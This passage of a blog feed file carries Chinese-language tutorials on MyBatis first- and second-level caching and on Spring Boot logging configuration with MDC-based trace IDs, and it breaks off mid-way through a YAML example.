用注解，这样代码既清晰又易于维护。</p><p>写这篇文章时，我特意回顾了项目中的一些动态 SQL 写法，发现很多地方可以优化。技术就是这样，不断学习才能进步。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 缓存机制：一级缓存和二级缓存详解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-缓存机制：一级缓存和二级缓存详解"><a href="#MyBatis-缓存机制：一级缓存和二级缓存详解" class="headerlink" title="MyBatis 缓存机制：一级缓存和二级缓存详解"></a>MyBatis 缓存机制：一级缓存和二级缓存详解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一级缓存：SqlSession-级别"><a href="#一级缓存：SqlSession-级别" class="headerlink" title="一级缓存：SqlSession 级别"></a>一级缓存：SqlSession 级别</h2><p>一级缓存是默认开启的，它的作用域是 SqlSession：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">SqlSession</span> <span class="variable">session</span> <span class="operator">=</span> sqlSessionFactory.openSession();</span><br><span class="line"><span class="type">UserMapper</span> <span class="variable">mapper</span> <span class="operator">=</span> session.getMapper(UserMapper.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 第一次查询，执行 SQL</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user1</span> <span class="operator">=</span> mapper.selectById(<span class="number">1L</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 第二次查询，使用缓存，不执行 SQL</span></span><br><span class="line"><span class="type">User</span> <span class="variable">user2</span> <span class="operator">=</span> mapper.selectById(<span class="number">1L</span>);</span><br><span class="line"></span><br><span class="line">session.close(); <span class="comment">// 缓存失效</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>默认开启，无需额外配置</li><li>作用域是当前 SqlSession</li><li>增删改操作会清空缓存</li><li>不同 SqlSession 之间不共享缓存</li></ul><h2 id="二级缓存：Mapper-级别"><a href="#二级缓存：Mapper-级别" class="headerlink" title="二级缓存：Mapper 级别"></a>二级缓存：Mapper 级别</h2><p>二级缓存需要手动开启，作用域是整个 Mapper：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 在 Mapper 接口上添加注解</span></span><br><span class="line"><span class="meta">@CacheNamespace</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或者在 XML 中配置：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">cache</span>/&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email FROM user WHERE id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>需要手动开启</li><li>作用域是整个 Mapper（多个 SqlSession 共享）</li><li>默认使用 PerpetualCache（内存缓存）</li><li>可以配置第三方缓存（如 Redis）</li></ul><h2 id="缓存执行流程"><a href="#缓存执行流程" class="headerlink" title="缓存执行流程"></a>缓存执行流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">查询请求</span><br><span class="line">    ↓</span><br><span class="line">是否命中二级缓存？</span><br><span class="line">    ↓ 是</span><br><span class="line">    返回缓存数据</span><br><span class="line">    ↓ 否</span><br><span class="line">是否命中一级缓存？</span><br><span class="line">    ↓ 是</span><br><span class="line">    返回缓存数据</span><br><span class="line">    ↓ 否</span><br><span class="line">    执行 SQL 查询</span><br><span class="line">    ↓</span><br><span class="line">    更新一级缓存</span><br><span class="line">    ↓</span><br><span class="line">    提交事务时更新二级缓存</span><br></pre></td></tr></table></figure><h2 id="二级缓存配置详解"><a href="#二级缓存配置详解" class="headerlink" title="二级缓存配置详解"></a>二级缓存配置详解</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">cache</span></span></span><br><span class="line"><span class="tag">    <span class="attr">eviction</span>=<span class="string">&quot;LRU&quot;</span>        &lt;!<span class="attr">--</span> <span class="attr">淘汰策略</span>：<span class="attr">LRU</span>/<span class="attr">FIFO</span>/<span class="attr">SOFT</span>/<span class="attr">WEAK</span> <span class="attr">--</span>&gt;</span></span><br><span class="line">    flushInterval=&quot;60000&quot; <span class="comment">&lt;!-- 刷新间隔（毫秒） --&gt;</span></span><br><span class="line">    size=&quot;512&quot;            <span class="comment">&lt;!-- 最大缓存条目数 --&gt;</span></span><br><span class="line">    readOnly=&quot;false&quot;      <span class="comment">&lt;!-- 是否只读 --&gt;</span></span><br><span class="line">/&gt;</span><br></pre></td></tr></table></figure><p><strong>淘汰策略</strong>：</p><ul><li><strong>LRU</strong>（最近最少使用）：移除最长时间不使用的对象</li><li><strong>FIFO</strong>（先进先出）：按添加顺序移除对象</li><li><strong>SOFT</strong>（软引用）：基于垃圾回收状态和软引用规则移除</li><li><strong>WEAK</strong>（弱引用）：更积极地基于垃圾回收状态和弱引用规则移除</li></ul><h2 id="使用第三方缓存"><a href="#使用第三方缓存" class="headerlink" title="使用第三方缓存"></a>使用第三方缓存</h2><p>MyBatis 支持集成第三方缓存，比如 Redis：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">cache</span> <span class="attr">type</span>=<span class="string">&quot;org.mybatis.caches.redis.RedisCache&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">&quot;host&quot;</span> <span class="attr">value</span>=<span class="string">&quot;localhost&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">&quot;port&quot;</span> <span class="attr">value</span>=<span class="string">&quot;6379&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">cache</span>&gt;</span></span><br></pre></td></tr></table></figure><p>需要添加依赖：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.mybatis.caches<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mybatis-redis<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0-beta2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-缓存与数据一致性"><a href="#1-缓存与数据一致性" class="headerlink" title="1. 缓存与数据一致性"></a>1. 缓存与数据一致性</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 更新操作会清空缓存</span></span><br><span class="line"><span class="meta">@Update(&quot;UPDATE user SET username = #&#123;username&#125; WHERE id = #&#123;id&#125;&quot;)</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">update</span><span class="params">(User user)</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-关联查询的缓存问题"><a href="#2-关联查询的缓存问题" class="headerlink" title="2. 关联查询的缓存问题"></a>2. 关联查询的缓存问题</h2><p>如果多个表关联查询，修改其中一个表的数据时，缓存可能不一致。</p><p>#</p><h2 id="3-分布式环境下的缓存同步"><a href="#3-分布式环境下的缓存同步" class="headerlink" title="3. 分布式环境下的缓存同步"></a>3. 分布式环境下的缓存同步</h2><p>在分布式环境中，多个节点的二级缓存需要额外的同步机制。</p><p>#</p><h2 id="4-缓存穿透问题"><a href="#4-缓存穿透问题" class="headerlink" title="4. 缓存穿透问题"></a>4. 缓存穿透问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 对于频繁查询但不常变化的数据，适合缓存</span></span><br><span class="line"><span class="meta">@Select(&quot;SELECT * FROM config WHERE key = #&#123;key&#125;&quot;)</span></span><br><span class="line">Config <span class="title function_">getConfig</span><span class="params">(String key)</span>;</span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><ol><li><strong>默认使用一级缓存</strong>：简单有效，无需额外配置</li><li><strong>二级缓存按需开启</strong>：对于查询频繁、修改较少的数据</li><li><strong>考虑使用 Redis 作为二级缓存</strong>：支持分布式环境</li><li><strong>注意缓存与数据库的一致性</strong>：避免脏数据</li><li><strong>定期清理缓存</strong>：防止内存溢出</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 的缓存机制能有效提升查询性能，但需要合理使用。一级缓存是基础，二级缓存需要根据业务场景选择。在分布式环境下，建议使用 Redis 等分布式缓存。</p><p>写这篇文章时，我特意做了几个测试验证缓存行为。发现二级缓存的配置确实需要根据实际情况调整，不是所有场景都适合开启。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置与链路追踪：完整指南</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置与链路追踪：完整指南"><a href="#Spring-Boot-日志配置与链路追踪：完整指南" class="headerlink" title="Spring Boot 日志配置与链路追踪：完整指南"></a>Spring Boot 日志配置与链路追踪：完整指南</h1><p>日志是排查问题的重要工具，合理配置日志能大大提升问题定位效率。今天分享一下 Spring Boot 日志配置的最佳实践。</p><h2 id="日志配置基础"><a href="#日志配置基础" class="headerlink" title="日志配置基础"></a>日志配置基础</h2><h3 id="1-配置文件方式"><a href="#1-配置文件方式" class="headerlink" title="1. 配置文件方式"></a>1. 配置文件方式</h3><p>在 <code>application.yml</code> 中配置日志：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">DEBUG</span></span><br><span class="line">    <span class="attr">org.springframework.web:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">org.hibernate.SQL:</span> <span class="string">DEBUG</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">console:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br><span class="line">    <span class="attr">file:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">file:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">logs/app.log</span></span><br><span class="line">    <span class="attr">max-size:</span> <span class="string">10MB</span></span><br><span class="line">    <span class="attr">max-history:</span> <span class="number">30</span></span><br><span class="line">    <span class="attr">total-size-cap:</span> <span class="string">1GB</span></span><br></pre></td></tr></table></figure><h3 id="2-日志级别"><a href="#2-日志级别" class="headerlink" title="2. 日志级别"></a>2. 日志级别</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="comment"># 全局级别</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="comment"># 特定包级别</span></span><br><span class="line">    <span class="attr">com.example.controller:</span> <span class="string">DEBUG</span></span><br><span class="line">    <span class="attr">com.example.service:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="comment"># 框架级别</span></span><br><span class="line">    <span class="attr">org.springframework:</span> <span class="string">WARN</span></span><br><span class="line">    <span class="attr">com.zaxxer.hikari:</span> <span class="string">DEBUG</span></span><br></pre></td></tr></table></figure><h3 id="3-输出格式"><a href="#3-输出格式" class="headerlink" title="3. 输出格式"></a>3. 输出格式</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">pattern:</span></span><br><span class="line">    <span class="attr">console:</span> <span class="string">&quot;%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] [%X&#123;traceId&#125;] %-5level %logger&#123;36&#125; - %msg%n&quot;</span></span><br></pre></td></tr></table></figure><p><strong>格式说明</strong>：</p><ul><li><code>%d</code>：日期时间</li><li><code>%thread</code>：线程名</li><li><code>%level</code>：日志级别</li><li><code>%logger</code>：日志记录器名称</li><li><code>%msg</code>：日志消息</li><li><code>%X{traceId}</code>：MDC 变量（用于链路追踪）</li></ul><h2 id="自定义日志配置"><a href="#自定义日志配置" class="headerlink" title="自定义日志配置"></a>自定义日志配置</h2><h3 id="1-使用-logback-spring-xml"><a href="#1-使用-logback-spring-xml" class="headerlink" title="1. 使用 logback-spring.xml"></a>1. 使用 logback-spring.xml</h3><p>创建 <code>src/main/resources/logback-spring.xml</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">&quot;LOG_PATH&quot;</span> <span class="attr">value</span>=<span class="string">&quot;logs&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">property</span> <span class="attr">name</span>=<span class="string">&quot;APP_NAME&quot;</span> <span class="attr">value</span>=<span class="string">&quot;my-app&quot;</span>/&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 控制台输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;CONSOLE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.ConsoleAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] [%X&#123;traceId&#125;] %-5level %logger&#123;36&#125; - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 文件输出 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;FILE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.RollingFileAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">file</span>&gt;</span>$&#123;LOG_PATH&#125;/$&#123;APP_NAME&#125;.log<span class="tag">&lt;/<span class="name">file</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">rollingPolicy</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">fileNamePattern</span>&gt;</span>$&#123;LOG_PATH&#125;/$&#123;APP_NAME&#125;.%d&#123;yyyy-MM-dd&#125;.%i.log<span class="tag">&lt;/<span class="name">fileNamePattern</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">maxFileSize</span>&gt;</span>10MB<span class="tag">&lt;/<span class="name">maxFileSize</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">maxHistory</span>&gt;</span>30<span class="tag">&lt;/<span class="name">maxHistory</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">totalSizeCap</span>&gt;</span>1GB<span class="tag">&lt;/<span class="name">totalSizeCap</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">rollingPolicy</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">pattern</span>&gt;</span>%d&#123;yyyy-MM-dd HH:mm:ss.SSS&#125; [%thread] [%X&#123;traceId&#125;] %-5level %logger&#123;36&#125; - %msg%n<span class="tag">&lt;/<span class="name">pattern</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">encoder</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">&lt;!-- 异步日志 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;ASYNC_FILE&quot;</span> <span class="attr">class</span>=<span class="string">&quot;ch.qos.logback.classic.AsyncAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;FILE&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">queueSize</span>&gt;</span>1024<span class="tag">&lt;/<span class="name">queueSize</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">discardingThreshold</span>&gt;</span>0<span class="tag">&lt;/<span class="name">discardingThreshold</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">includeCallerData</span>&gt;</span>false<span class="tag">&lt;/<span class="name">includeCallerData</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.example&quot;</span> <span class="attr">level</span>=<span class="string">&quot;DEBUG&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;org.springframework&quot;</span> <span class="attr">level</span>=<span class="string">&quot;INFO&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.zaxxer.hikari&quot;</span> <span class="attr">level</span>=<span class="string">&quot;DEBUG&quot;</span>/&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;INFO&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;CONSOLE&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;ASYNC_FILE&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="2-按环境配置"><a href="#2-按环境配置" class="headerlink" title="2. 按环境配置"></a>2. 按环境配置</h3><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">springProfile</span> <span class="attr">name</span>=<span class="string">&quot;dev&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.example&quot;</span> <span class="attr">level</span>=<span class="string">&quot;DEBUG&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">springProfile</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">springProfile</span> <span class="attr">name</span>=<span class="string">&quot;prod&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">logger</span> <span class="attr">name</span>=<span class="string">&quot;com.example&quot;</span> <span class="attr">level</span>=<span class="string">&quot;INFO&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">springProfile</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="链路追踪"><a href="#链路追踪" class="headerlink" title="链路追踪"></a>链路追踪</h2><h3 id="1-添加依赖"><a href="#1-添加依赖" class="headerlink" title="1. 添加依赖"></a>1. 添加依赖</h3><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.cloud<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-cloud-starter-sleuth<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="2-配置-MDC"><a href="#2-配置-MDC" class="headerlink" title="2. 配置 MDC"></a>2. 配置 MDC</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TraceFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest request, ServletResponse response, FilterChain chain)</span> </span><br><span class="line">            <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line">        MDC.put(<span class="string">&quot;traceId&quot;</span>, traceId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            MDC.remove(<span class="string">&quot;traceId&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-使用日志记录"><a href="#3-使用日志记录" class="headerlink" title="3. 使用日志记录"></a>3. 使用日志记录</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LoggerFactory.getLogger(UserService.class);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        logger.info(<span class="string">&quot;查询用户详情，ID: &#123;&#125;&quot;</span>, id);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findById(id)</span><br><span class="line">                .orElseThrow(() -&gt; ResourceNotFoundException.of(<span class="string">&quot;用户&quot;</span>, id));</span><br><span class="line">            </span><br><span class="line">            logger.debug(<span class="string">&quot;查询到用户: &#123;&#125;&quot;</span>, user);</span><br><span class="line">            <span class="keyword">return</span> convertToDTO(user);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            logger.error(<span class="string">&quot;查询用户失败，ID: &#123;&#125;&quot;</span>, id, e);</span><br><span class="line">            <span class="keyword">throw</span> e;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="日志排查技巧"><a href="#日志排查技巧" class="headerlink" title="日志排查技巧"></a>日志排查技巧</h2><h3 id="1-搜索日志"><a href="#1-搜索日志" class="headerlink" title="1. 搜索日志"></a>1. 搜索日志</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 搜索特定 traceId</span></span><br><span class="line">grep <span class="string">&quot;traceId=abc123&quot;</span> logs/app.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 搜索错误日志</span></span><br><span class="line">grep <span class="string">&quot;ERROR&quot;</span> logs/app.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 搜索特定用户的日志</span></span><br><span class="line">grep <span class="string">&quot;用户ID: 1001&quot;</span> logs/app.log</span><br></pre></td></tr></table></figure><h3 id="2-分析慢查询"><a href="#2-分析慢查询" class="headerlink" title="2. 分析慢查询"></a>2. 分析慢查询</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查找执行时间长的操作</span></span><br><span class="line">grep -E <span class="string">&quot;执行耗时.*[0-9]+ms&quot;</span> logs/app.log | <span class="built_in">sort</span> -k 3 -r</span><br></pre></td></tr></table></figure><h3 id="3-监控日志级别"><a href="#3-监控日志级别" class="headerlink" title="3. 监控日志级别"></a>3. 监控日志级别</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 动态调整日志级别</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/log&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/level&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogLevel</span><span class="params">(<span class="meta">@RequestParam</span> String loggerName, <span class="meta">@RequestParam</span> String level)</span> &#123;</span><br><span class="line">        <span class="type">LoggerContext</span> <span class="variable">ctx</span> <span class="operator">=</span> (LoggerContext) LoggerFactory.getILoggerFactory();</span><br><span class="line">        <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> ctx.getLogger(loggerName);</span><br><span class="line">        ((ch.qos.logback.classic.Logger) logger).setLevel(Level.toLevel(level));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-生产环境日志配置"><a href="#1-生产环境日志配置" class="headerlink" title="1. 生产环境日志配置"></a>1. 生产环境日志配置</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">INFO</span></span><br><span class="line">  <span class="attr">file:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">logs/app.log</span></span><br><span class="line">    <span class="attr">max-size:</span> <span class="string">50MB</span></span><br><span 